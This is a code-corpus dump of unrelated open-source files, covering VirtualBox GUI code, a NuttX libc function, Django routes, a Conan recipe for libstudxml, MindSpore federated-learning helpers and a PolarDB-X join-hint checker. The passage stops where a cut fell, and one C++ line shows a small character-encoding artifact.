AssertReturnVoid(!machine.isNull());
/* For each the attachment machine have: */
foreach (const CMediumAttachment &attachment, machine.GetMediumAttachments())
{
/* Get corresponding CMedium: */
CMedium cmedium = attachment.GetMedium();
if (!cmedium.isNull())
{
/* Make sure that CMedium was not yet closed: */
const QString strCMediumID = cmedium.GetId();
if (cmedium.isOk() && !strCMediumID.isNull())
{
/* Add this CMedium to current usage: */
currentCMediums.insert(strCMediumID, cmedium);
currentCMediumIDs << strCMediumID;
}
}
}
}
/**
* Updates cache using known changes in cached data.
* @param previousUIMediumIDs reflects UIMedium IDs used in cached data.
*/
void UIMediumEnumerator::recacheFromCachedUsage(const QStringList &previousUIMediumIDs)
{
/* For each of previously used UIMedium ID: */
foreach (const QString &strMediumID, previousUIMediumIDs)
{
/* Make sure this ID still in our map: */
if (m_mediums.contains(strMediumID))
{
/* Get corresponding UIMedium: */
UIMedium &uimedium = m_mediums[strMediumID];
/* If corresponding CMedium still exists: */
CMedium cmedium = uimedium.medium();
if (!cmedium.GetId().isNull() && cmedium.isOk())
{
/* Refresh UIMedium parent first of all: */
uimedium.updateParentID();
/* Enumerate corresponding UIMedium: */
createMediumEnumerationTask(uimedium);
}
/* If corresponding CMedium was closed already: */
else
{
/* Uncache corresponding UIMedium: */
m_mediums.remove(strMediumID);
LogRel2(("GUI: UIMediumEnumerator: Medium with key={%s} uncached\n", strMediumID.toUtf8().constData()));
/* And notify listeners: */
emit sigMediumDeleted(strMediumID);
}
}
}
}
/**
* Updates cache using known changes in actual data.
* @param currentCMediums reflects CMedium used in actual data.
* @param currentCMediumIDs reflects CMedium IDs used in actual data.
*/
void UIMediumEnumerator::recacheFromActualUsage(const CMediumMap ¤tCMediums, const QStringList ¤tCMediumIDs)
{
/* For each of currently used CMedium ID: */
foreach (const QString &strCMediumID, currentCMediumIDs)
{
/* If that ID is not in our map: */
if (!m_mediums.contains(strCMediumID))
{
/* Create new UIMedium: */
const CMedium &cmedium = currentCMediums[strCMediumID];
UIMedium uimedium(cmedium, UIMediumDefs::mediumTypeToLocal(cmedium.GetDeviceType()));
QString strUIMediumKey = uimedium.key();
/* Cache created UIMedium: */
m_mediums.insert(strUIMediumKey, uimedium);
LogRel2(("GUI: UIMediumEnumerator: Medium with key={%s} cached\n", strUIMediumKey.toUtf8().constData()));
/* And notify listeners: */
emit sigMediumCreated(strUIMediumKey);
}
/* Enumerate corresponding UIMedium: */
createMediumEnumerationTask(m_mediums[strCMediumID]);
}
}
#include "UIMediumEnumerator.moc"
| 9,293 |
1,006 | /****************************************************************************
* libs/libc/string/lib_strerrorr.c
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership. The
* ASF licenses this file to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance with the
* License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*
****************************************************************************/
/****************************************************************************
* Included Files
****************************************************************************/
#include <nuttx/config.h>
#include <sys/types.h>
#include <string.h>
#include <assert.h>
/****************************************************************************
* Public Functions
****************************************************************************/
/****************************************************************************
* Name: strerror_r
*
* Description:
* The strerror_r() function is similar to strerror(), but is thread safe.
* It returns the error string in the user-supplied buffer 'buf' of length
* 'buflen'.
*
* Returned Value:
* strerror_r() returns 0 on success. On error, a (positive) error number is
* returned.
*
* Portability:
* Specified in POSIX.1-2001
*
****************************************************************************/
int strerror_r(int errnum, FAR char *buf, size_t buflen)
{
FAR const char *errstr = strerror(errnum);
DEBUGASSERT(buf != NULL);
strncpy(buf, errstr, buflen);
return OK;
}
| 502 |
356 | <reponame>RobertLara/jInstagram<filename>src/main/java/org/jinstagram/auth/model/Constants.java
package org.jinstagram.auth.model;
public final class Constants {
public static final String INSTAGRAM_OAUTH_URL_BASE = "https://api.instagram.com/oauth";
public static final String ACCESS_TOKEN_ENDPOINT = INSTAGRAM_OAUTH_URL_BASE + "/access_token";
public static final String AUTHORIZE_URL = INSTAGRAM_OAUTH_URL_BASE + "/authorize/?client_id=%s&redirect_uri=%s&response_type=code";
public static final String SCOPED_AUTHORIZE_URL = AUTHORIZE_URL + "&scope=%s";
private Constants() {}
}
| 220 |
481 | <reponame>210-211/Instacapture
package com.tarek360.sample;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import butterknife.ButterKnife;
import butterknife.OnClick;
public class DialogAndMenuSampleActivity extends BaseSampleActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_dialog_and_menu_sample);
ButterKnife.bind(this);
}
@OnClick(R.id.show_dialog)
protected void showDialog() {
showAlertDialog();
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
captureScreenshot();
return true;
}
}
| 360 |
3,326 | <filename>research/compression/entropy_coder/model/model_factory.py
# Copyright 2017 The TensorFlow Authors All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Entropy coder model registrar."""
class ModelFactory(object):
"""Factory of encoder/decoder models."""
def __init__(self):
self._model_dictionary = dict()
def RegisterModel(self,
entropy_coder_model_name,
entropy_coder_model_factory):
self._model_dictionary[entropy_coder_model_name] = (
entropy_coder_model_factory)
def CreateModel(self, model_name):
current_model_factory = self._model_dictionary[model_name]
return current_model_factory()
def GetAvailableModels(self):
return self._model_dictionary.keys()
_model_registry = ModelFactory()
def GetModelRegistry():
return _model_registry
class RegisterEntropyCoderModel(object):
def __init__(self, model_name):
self._model_name = model_name
def __call__(self, f):
_model_registry.RegisterModel(self._model_name, f)
return f
| 519 |
561 | <gh_stars>100-1000
//////////////////////////////////////////////////////////////////////////
//
// Copyright (c) 2013, Image Engine Design Inc. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above
// copyright notice, this list of conditions and the following
// disclaimer.
//
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following
// disclaimer in the documentation and/or other materials provided with
// the distribution.
//
// * Neither the name of <NAME> nor the names of
// any other contributors to this software may be used to endorse or
// promote products derived from this software without specific prior
// written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
// IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
// THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
// PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
// EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
// PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
// LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
// NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
//////////////////////////////////////////////////////////////////////////
#ifndef GAFFERSCENE_ATTRIBUTEPROCESSOR_H
#define GAFFERSCENE_ATTRIBUTEPROCESSOR_H
#include "GafferScene/FilteredSceneProcessor.h"
namespace GafferScene
{
/// Base class for nodes which manipulate attributes in some way.
class GAFFERSCENE_API AttributeProcessor : public FilteredSceneProcessor
{
public :
~AttributeProcessor() override;
GAFFER_NODE_DECLARE_TYPE( GafferScene::AttributeProcessor, AttributeProcessorTypeId, FilteredSceneProcessor );
void affects( const Gaffer::Plug *input, AffectedPlugsContainer &outputs ) const override;
protected :
/// Constructs with a single input ScenePlug named "in". Use inPlug()
/// to access this plug.
AttributeProcessor( const std::string &name );
/// Constructs with an ArrayPlug called "in". Use inPlug() as a
/// convenience for accessing the first child in the array, and use
/// inPlugs() to access the array itself.
AttributeProcessor( const std::string &name, size_t minInputs, size_t maxInputs = Imath::limits<size_t>::max() );
/// Must be implemented by derived classes to return true if `input` is used
/// by `computeProcessedAttributes()`. Overrides must start by calling the base
/// class first, and return true if it returns true.
virtual bool affectsProcessedAttributes( const Gaffer::Plug *input ) const = 0;
/// Must be implemented by derived classes to do one of the following :
///
/// - Call `AttributeProcessor::hashProcessedAttributes()` and then append to the hash
/// with all plugs used in `computeProcessedAttributes()`.
/// - Assign `h = inPlug()->attributesPlug()->hash()` to signify that
/// `computeProcessedAttributes()` will pass through `inputAttributes`
/// unchanged.
virtual void hashProcessedAttributes( const ScenePath &path, const Gaffer::Context *context, IECore::MurmurHash &h ) const = 0;
/// Must be implemented by derived classes to return the processed attributes.
virtual IECore::ConstCompoundObjectPtr computeProcessedAttributes( const ScenePath &path, const Gaffer::Context *context, const IECore::CompoundObject *inputAttributes ) const = 0;
private :
void init();
void hashAttributes( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent, IECore::MurmurHash &h ) const final;
IECore::ConstCompoundObjectPtr computeAttributes( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent ) const final;
/// Private constructor and friendship for old nodes which are filtered to everything
/// by default. This was a mistake, and we want to ensure that we don't repeat the mistake
/// for new nodes.
AttributeProcessor( const std::string &name, IECore::PathMatcher::Result filterDefault );
friend class DeleteAttributes;
friend class ShaderAssignment;
friend class Attributes;
friend class AttributeVisualiser;
};
IE_CORE_DECLAREPTR( AttributeProcessor )
} // namespace GafferScene
#endif // GAFFERSCENE_ATTRIBUTEPROCESSOR_H
| 1,398 |
599 | <reponame>laodiu/bk-bcs
# -*- coding: utf-8 -*-
"""
Tencent is pleased to support the open source community by making 蓝鲸智云PaaS平台社区版 (BlueKing PaaS Community
Edition) available.
Copyright (C) 2017-2021 TH<NAME>, a Tencent company. All rights reserved.
Licensed under the MIT License (the "License"); you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://opensource.org/licenses/MIT
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
specific language governing permissions and limitations under the License.
"""
from django.conf.urls import url
from backend.uniapps.apis.applications import views
urlpatterns = [
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/instances/$",
views.ProjectApplicationInfo.as_view({"get": "get", "post": "api_post"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/instance/detail/$",
views.InstanceInfo.as_view({"get": "get"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/instances/(?P<instance_name>[\w\-\.]+)/namespaces/$", # noqa
views.InstanceNamespace.as_view({"get": "get"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/instances/(?P<instance_id>\d+)/retry/$",
views.CreateInstance.as_view({"put": "api_put"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/instances/(?P<instance_id>\d+)/update/$",
views.UpdateInstance.as_view({"post": "api_post"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/instances/batch_update/$",
views.BatchUpdateInstance.as_view({"put": "api_put"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/instances/(?P<instance_id>\d+)/scale/$",
views.ScaleInstance.as_view({"post": "api_post"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/instances/batch_scale/$",
views.BatchScaleInstance.as_view({"put": "api_put"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/instances/(?P<instance_id>\d+)/recreate/$",
views.RecreateInstance.as_view({"put": "api_put"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/instances/batch_recreate/$",
views.BatchRecreateInstance.as_view({"post": "api_post"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/instances/(?P<instance_id>\d+)/cancel/$",
views.CancelInstance.as_view({"post": "api_post"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/instances/(?P<instance_id>\d+)/pause/$",
views.PauseInstance.as_view({"post": "api_post"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/instances/(?P<instance_id>\d+)/resume/$",
views.ResumeInstance.as_view({"post": "api_post"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/instances/(?P<instance_id>\d+)/status/$",
views.InstanceStatus.as_view({"get": "get"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/instances/(?P<instance_id>\d+)/versions/$",
views.GetInstanceVersions.as_view({"get": "get"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/instances/(?P<instance_id>\d+)/version/configs/$", # noqa
views.GetInstanceVersionConf.as_view({"get": "get"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/instances/batch_delete/$", # noqa
views.BatchDeleteInstance.as_view({"delete": "api_delete"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/musters/$", # noqa
views.ProjectMuster.as_view({"get": "get"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/musters/(?P<muster_id>\d+)/versions/$", # noqa
views.ProjectMusterVersion.as_view({"get": "get"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/versions/(?P<version_id>\d+)/templates/$", # noqa
views.ProjectMusterTemplate.as_view({"get": "get"}),
),
url(
r"cc_app_ids/(?P<cc_app_id>\d+)/projects/(?P<project_id>\w{32})/namespaces/$", # noqa
views.ProjectNamespace.as_view({"post": "post"}),
),
]
| 2,279 |
4,772 | package example.repo;
import example.model.Customer148;
import java.util.List;
import org.springframework.data.repository.CrudRepository;
public interface Customer148Repository extends CrudRepository<Customer148, Long> {
List<Customer148> findByLastName(String lastName);
}
| 83 |
375 | <filename>datasets/the-movie-db/sample-data/productionCompanies/97.json
{
"id": 97,
"logo_path": "/7znWcbDd4PcJzJUlJxYqAlPPykp.png",
"description": null,
"name": "Castle Rock Entertainment",
"parent_company": {
"id": 17,
"logo_path": "/rU25OVCsksXegdnb6GUFvLYY9Gd.png",
"name": "<NAME>. Entertainment"
},
"homepage": null,
"headquarters": null
} | 165 |
2,542 | // ------------------------------------------------------------
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License (MIT). See License.txt in the repo root for license information.
// ------------------------------------------------------------
#pragma once
namespace Hosting2
{
namespace NetworkContextType
{
enum Enum
{
None = 0,
Flat = 1,
Overlay = 2
};
std::wstring ToString(Enum const & val);
Common::ErrorCode FromString(std::wstring const & str, __out Enum & val);
}
}
| 210 |
1,780 | package io.nutz.demo.dubbo.rpc.service;
import io.nutz.demo.bean.Order;
public interface OrderService {
/**
* create order
*/
Order create(String userId, String commodityCode, int orderCount);
} | 80 |
4,013 | <reponame>kylelaker/checkov
import os
import uuid
from abc import abstractmethod
class BaseGetter(object):
def __init__(self, url):
self.url = url
self.temp_dir = None
def get(self):
current_directory = os.getcwd()
final_directory = os.path.join(current_directory, str((uuid.uuid4()))[:8]+"_checks")
if not os.path.exists(final_directory):
os.makedirs(final_directory)
self.temp_dir = final_directory
return self.do_get()
@abstractmethod
def do_get(self):
raise NotImplementedError()
| 253 |
3,200 | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
import copy
from mindspore.common.initializer import initializer
def average_weights(para_list):
global_parameter = {}
length = len(para_list)
for para in para_list:
for name in para:
if name in global_parameter:
global_parameter[name] += para[name] / length
else:
global_parameter[name] = para[name] / length
return global_parameter
def save_params(network, param_dict=None):
if param_dict is None:
return {param.name: copy.deepcopy(param) for param in network.trainable_params()
if 'learning_rate' not in param.name and 'adam' not in param.name}
for param in network.trainable_params():
if param.name in param_dict:
param_dict[param.name] = copy.deepcopy(param)
return None
def restore_params(network, param_dict, init_adam=True):
for param in network.trainable_params():
if 'learning_rate' in param.name:
continue
param.init_data()
if init_adam:
if 'adam' in param.name:
param.set_data(initializer('zeros', shape=param.shape, dtype=param.dtype))
elif param.name in param_dict:
param.set_data(param_dict[param.name])
else:
if param.name in param_dict:
param.set_data(param_dict[param.name])
def get_worker_upload_list():
return [
'albert.encoder.embedding_hidden_mapping_in.weight',
'albert.encoder.embedding_hidden_mapping_in.bias',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.attention.query.weight',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.attention.query.bias',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.attention.key.weight',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.attention.key.bias',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.attention.value.weight',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.attention.value.bias',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.output.dense.weight',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.output.dense.bias',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.output.layernorm.gamma',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.output.layernorm.beta',
'albert.encoder.albert_layer_groups.0.albert_layers.0.ffn.weight',
'albert.encoder.albert_layer_groups.0.albert_layers.0.ffn.bias',
'albert.encoder.albert_layer_groups.0.albert_layers.0.ffn_output.weight',
'albert.encoder.albert_layer_groups.0.albert_layers.0.ffn_output.bias',
'albert.encoder.albert_layer_groups.0.albert_layers.0.full_layer_layer_norm.gamma',
'albert.encoder.albert_layer_groups.0.albert_layers.0.full_layer_layer_norm.beta',
'albert.pooler.weight',
'albert.pooler.bias',
'classifier.weight',
'classifier.bias']
def upload_to_server(network, worker_upload_list):
for param in network.trainable_params():
if param.name in worker_upload_list:
param.set_param_fl(push_to_server=True)
def get_worker_download_list():
return [
'albert.encoder.embedding_hidden_mapping_in.weight',
'albert.encoder.embedding_hidden_mapping_in.bias',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.attention.query.weight',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.attention.query.bias',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.attention.key.weight',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.attention.key.bias',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.attention.value.weight',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.attention.value.bias',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.output.dense.weight',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.output.dense.bias',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.output.layernorm.gamma',
'albert.encoder.albert_layer_groups.0.albert_layers.0.attention.output.layernorm.beta',
'albert.encoder.albert_layer_groups.0.albert_layers.0.ffn.weight',
'albert.encoder.albert_layer_groups.0.albert_layers.0.ffn.bias',
'albert.encoder.albert_layer_groups.0.albert_layers.0.ffn_output.weight',
'albert.encoder.albert_layer_groups.0.albert_layers.0.ffn_output.bias',
'albert.encoder.albert_layer_groups.0.albert_layers.0.full_layer_layer_norm.gamma',
'albert.encoder.albert_layer_groups.0.albert_layers.0.full_layer_layer_norm.beta'
]
def download_from_server(network, worker_download_list):
for param in network.trainable_params():
if param.name in worker_download_list:
param.set_param_fl(pull_from_server=True)
def get_freeze_list():
return [
'albert.word_embeddings.embedding_table',
'albert.embedding_postprocessor.embedding_table',
'albert.embedding_postprocessor.full_position_embeddings',
'albert.embedding_postprocessor.layernorm.gamma',
'albert.embedding_postprocessor.layernorm.beta'
]
def freeze(network, freeze_list):
for param in network.trainable_params():
if param.name in freeze_list:
param.requires_grad = False
| 2,666 |
362 | package net.ripe.db.whois.common.dao.jdbc.domain;
import net.ripe.db.whois.common.dao.VersionInfo;
import net.ripe.db.whois.common.domain.serials.Operation;
import org.springframework.jdbc.core.RowMapper;
import java.sql.ResultSet;
import java.sql.SQLException;
public class VersionInfoRowMapper implements RowMapper<VersionInfo> {
@Override
public VersionInfo mapRow(final ResultSet rs, final int rowNum) throws SQLException {
return new VersionInfo(
rs.getBoolean(1), //inLast
rs.getInt(2), // objectId
rs.getInt(3), //sequenceId
rs.getLong(5), //timestamp
Operation.getByCode(rs.getInt(4))); //operation
}
} | 310 |
562 | from conans import ConanFile, AutoToolsBuildEnvironment, MSBuild, tools
from conans.errors import ConanInvalidConfiguration
import os
import shutil
required_conan_version = ">=1.33.0"
class LibStudXmlConan(ConanFile):
name = "libstudxml"
description = "A streaming XML pull parser and streaming XML serializer implementation for modern, standard C++."
topics = ("xml", "xml-parser", "serialization")
url = "https://github.com/conan-io/conan-center-index"
homepage = "https://www.codesynthesis.com/projects/libstudxml/"
license = "MIT"
settings = "os", "compiler", "build_type", "arch"
exports_sources = "patches/*"
options = {
"shared": [True, False],
"fPIC": [True, False],
}
default_options = {
"shared": False,
"fPIC": True,
}
_autotools = None
@property
def _source_subfolder(self):
return "source_subfolder"
def config_options(self):
if self.settings.os == "Windows":
del self.options.fPIC
def configure(self):
if self.options.shared:
del self.options.fPIC
def requirements(self):
self.requires("expat/2.4.1")
def validate(self):
if self.settings.compiler == "Visual Studio":
if tools.Version(self.settings.compiler.version) < "9":
raise ConanInvalidConfiguration("Visual Studio {} is not supported.".format(self.settings.compiler.version))
@property
def _settings_build(self):
return getattr(self, "settings_build", self.settings)
def build_requirements(self):
if self.settings.compiler != "Visual Studio":
self.build_requires("gnu-config/cci.20201022")
self.build_requires("libtool/2.4.6")
if self._settings_build.os == "Windows" and not tools.get_env("CONAN_BASH_PATH"):
self.build_requires("msys2/cci.latest")
def source(self):
tools.get(**self.conan_data["sources"][self.version],
destination=self._source_subfolder, strip_root=True)
def _configure_autotools(self):
if not self._autotools:
args = ["--with-external-expat"]
if self.options.shared:
args.extend(["--enable-shared", "--disable-static"])
else:
args.extend(["--disable-shared", "--enable-static"])
self._autotools = AutoToolsBuildEnvironment(self, win_bash=tools.os_info.is_windows)
self._autotools.configure(configure_dir=self._source_subfolder, args=args)
return self._autotools
def _build_vs(self):
vc_ver = int(tools.Version(self.settings.compiler.version).major)
sln_path = None
def get_sln_path():
return os.path.join(self._source_subfolder, "libstudxml-vc{}.sln".format(vc_ver))
sln_path = get_sln_path()
while not os.path.exists(sln_path):
vc_ver -= 1
sln_path = get_sln_path()
proj_path = os.path.join(self._source_subfolder, "xml", "libstudxml-vc{}.vcxproj".format(vc_ver))
if not self.options.shared:
tools.replace_in_file(proj_path, "DynamicLibrary", "StaticLibrary")
tools.replace_in_file(proj_path, "LIBSTUDXML_DYNAMIC_LIB", "LIBSTUDXML_STATIC_LIB")
msbuild = MSBuild(self)
msbuild.build(sln_path, platforms={"x86": "Win32"})
@property
def _user_info_build(self):
return getattr(self, "user_info_build", self.deps_user_info)
def _build_autotools(self):
shutil.copy(self._user_info_build["gnu-config"].CONFIG_SUB,
os.path.join(self._source_subfolder, "config", "config.sub"))
shutil.copy(self._user_info_build["gnu-config"].CONFIG_GUESS,
os.path.join(self._source_subfolder, "config", "config.guess"))
if self.settings.compiler.get_safe("libcxx") == "libc++":
# libc++ includes a file called 'version', and since libstudxml adds source_subfolder as an
# include dir, libc++ ends up including their 'version' file instead, causing a compile error
tools.remove_files_by_mask(self._source_subfolder, "version")
with tools.chdir(self._source_subfolder):
self.run("{} -fiv".format(tools.get_env("AUTORECONF")), win_bash=tools.os_info.is_windows)
autotools = self._configure_autotools()
autotools.make()
def build(self):
for patch in self.conan_data.get("patches", {}).get(self.version, []):
tools.patch(**patch)
if self.settings.compiler == "Visual Studio":
self._build_vs()
else:
self._build_autotools()
def package(self):
self.copy(pattern="LICENSE", dst="licenses", src=self._source_subfolder)
if self.settings.compiler == "Visual Studio":
self.copy("xml/value-traits", dst="include", src=self._source_subfolder)
self.copy("xml/serializer", dst="include", src=self._source_subfolder)
self.copy("xml/qname", dst="include", src=self._source_subfolder)
self.copy("xml/parser", dst="include", src=self._source_subfolder)
self.copy("xml/forward", dst="include", src=self._source_subfolder)
self.copy("xml/exception", dst="include", src=self._source_subfolder)
self.copy("xml/content", dst="include", src=self._source_subfolder)
self.copy("xml/*.ixx", dst="include", src=self._source_subfolder)
self.copy("xml/*.txx", dst="include", src=self._source_subfolder)
self.copy("xml/*.hxx", dst="include", src=self._source_subfolder)
self.copy("xml/*.h", dst="include", src=self._source_subfolder)
suffix = ""
if self.settings.arch == "x86_64":
suffix = "64"
if self.options.shared:
self.copy("*.lib", dst="lib", src=os.path.join(self._source_subfolder, "lib" + suffix))
self.copy("*.dll", dst="bin", src=os.path.join(self._source_subfolder, "bin" + suffix))
else:
self.copy("*.lib", dst="lib", src=os.path.join(self._source_subfolder, "bin" + suffix))
else:
autotools = self._configure_autotools()
autotools.install()
tools.remove_files_by_mask(os.path.join(self.package_folder, "lib"), "libstudxml.la")
tools.rmdir(os.path.join(self.package_folder, "lib", "pkgconfig"))
tools.rmdir(os.path.join(self.package_folder, "share"))
def package_info(self):
self.cpp_info.libs = tools.collect_libs(self)
self.cpp_info.names["pkg_config"] = "libstudxml"
# If built with makefile, static library mechanism is provided by their buildsystem already
if self.settings.compiler == "Visual Studio" and not self.options.shared:
self.cpp_info.defines = ["LIBSTUDXML_STATIC_LIB=1"]
| 3,041 |
480 | /*
* Copyright [2013-2021], Alibaba Group Holding Limited
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.alibaba.polardbx.optimizer.hint.util;
import com.alibaba.polardbx.common.properties.ConnectionProperties;
import com.alibaba.polardbx.optimizer.PlannerContext;
import com.alibaba.polardbx.optimizer.config.table.TableMeta;
import com.alibaba.polardbx.optimizer.core.planner.rule.util.CBOUtil;
import com.alibaba.polardbx.optimizer.hint.operator.HintType;
import com.alibaba.polardbx.optimizer.hint.operator.JoinHint;
import com.alibaba.polardbx.optimizer.view.DrdsViewTable;
import org.apache.calcite.plan.RelOptCost;
import org.apache.calcite.rel.core.Join;
import org.apache.calcite.rex.RexTableInputRef;
import java.util.List;
import java.util.Set;
import java.util.TreeSet;
public class CheckJoinHint {
/**
* return true if ok, otherwise false
*/
public static RelOptCost check(Join join, HintType hintType) {
Object obj = PlannerContext.getPlannerContext(join).getExtraCmds().get(ConnectionProperties.JOIN_HINT);
List<JoinHint> joinHints;
if (obj == null) {
return null;
}
if (!(obj instanceof List) || ((List) obj).isEmpty() || !(((List) obj).get(0) instanceof JoinHint)) {
return null;
}
joinHints = (List<JoinHint>) obj;
Set<String> leftTables;
Set<String> rightTables;
if (joinHints.size() > 0) {
leftTables = converToTableNameSet(join.getCluster().getMetadataQuery().getTableReferences(join.getLeft()));
rightTables =
converToTableNameSet(join.getCluster().getMetadataQuery().getTableReferences(join.getRight()));
for (JoinHint joinHint : joinHints) {
if (joinHint.getLeft().isEmpty() && joinHint.getRight().isEmpty()) {
return joinHint.getJoinType() == hintType ? null :
join.getCluster().getPlanner().getCostFactory().makeHugeCost();
}
if (joinHint.getLeft().size() > 0 && joinHint.getRight().isEmpty()) {
if (leftTables.equals(joinHint.getLeft())) {
return joinHint.getJoinType() == hintType ? null :
join.getCluster().getPlanner().getCostFactory().makeHugeCost();
} else {
continue;
}
}
if (joinHint.getLeft().isEmpty() && joinHint.getRight().size() > 0) {
if (rightTables.equals(joinHint.getRight())) {
return joinHint.getJoinType() == hintType ? null :
join.getCluster().getPlanner().getCostFactory().makeHugeCost();
} else {
continue;
}
}
if (joinHint.getLeft().size() > 0 && joinHint.getRight().size() > 0) {
if (leftTables.equals(joinHint.getLeft()) && rightTables.equals(joinHint.getRight())) {
return joinHint.getJoinType() == hintType
? join.getCluster().getPlanner().getCostFactory().makeTinyCost()
: join.getCluster().getPlanner().getCostFactory().makeHugeCost();
